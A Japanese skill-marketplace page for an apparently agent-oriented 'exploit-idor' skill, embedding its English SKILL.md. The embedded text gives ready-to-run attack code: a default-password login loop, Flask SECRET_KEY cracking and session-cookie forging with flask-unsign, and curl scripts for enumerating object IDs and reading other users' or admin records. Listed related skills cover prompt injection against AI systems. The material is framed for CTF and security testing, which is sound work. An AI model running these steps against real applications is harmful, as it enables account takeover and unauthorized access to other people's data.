exploit-idor
できること
このスキルは、安全でない直接オブジェクト参照(IDOR)を確認する手順をエージェントに案内します。ある利用者が他人の記録にアクセスできないかを調べるセキュリティテスター向けです。
使う場面
- ✓アプリがURLで連番のIDやファイル名を使っており、アクセス制御を確認したいとき。
- ✓セキュリティレビューで、あるアカウントが別のアカウントのデータを見たり変えたりできないか確認するとき。
- ✓チャレンジのタグやスキャン結果が、オブジェクト単位の認可の不備を示しているとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“ログイン中の利用者が、請求書番号を変えて他人の請求書を開けないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはテスト用アカウントでログインし、近い番号や予測しやすいIDを、さまざまな方法で試します。サーバーが、そのアカウントに見せるべきでない記録を返すかを確認します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Insecure Direct Object References (IDOR)
Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside idor in the challenge tags, attempt login FIRST before any IDOR probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.
Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path
When to use: After logging in (default creds), if the session cookie starts with eyJ (base64) and contains a . separator without a JWT alg header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.
Evidence pattern (real-world evidence): test:test → user_id=10032 in Flask session → IDOR target at /order/<id>/receipt → cookie rejected when manually modifying user_id → SECRET_KEY your_secret_key found via flask-unsign → forged cookie with target user_id → flag.
# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done
# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'
# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt
Decision rule: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work).
Detection Strategy
# Horizontal IDOR — access another user's data
curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt
curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt
diff idor_own.txt idor_other.txt
# Vertical IDOR — access admin resources as regular user
curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt
# ID enumeration
for id in $(seq 1 100); do
STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>')
echo "ID $id: $STATUS"
done > idor_enum.txt
Common IDOR Patterns
| Pattern | Example | Test |
|---|---|---|
| Sequential integer IDs | /api/invoice/1001 |
Increment/decrement ID |
| UUID/GUID | /api/doc/550e8400-e29b-41d4-a716-446655440000 |
Capture other UUIDs from responses |
| Filename | /download?file=report_userA.pdf |
Change username in filename |
| Encoded ID | /profile?id=MTAwMQ== (base64) |
Decode, modify, re-encode |
| Hashed ID | /api/user/5d41402abc4b |
Check if MD5/SHA1 of predictable value |
| JWT sub claim | {"sub": "1001"} |
Modify sub claim (if no signature check) |
Predictable ID Generation Patterns (when IDs look random but encode account-derivable data)
Some IDs that LOOK random (long integers, hex strin
よくある質問
まずデフォルトのログインを試しますか?
チャレンジにデフォルトの認証情報が含まれている場合、ID確認の前に一般的なテスト用ログインを試します。
トークンのsubフィールドも対象ですか?
はい。JWTのsubクレームを変えて、サーバーがアクセス判断にそれを信頼するかを確認します。
連番のIDだけが対象ですか?
いいえ。UUID、ファイル名、エンコードされたIDも扱っています。
詳細
作者による元の説明
Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14066
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。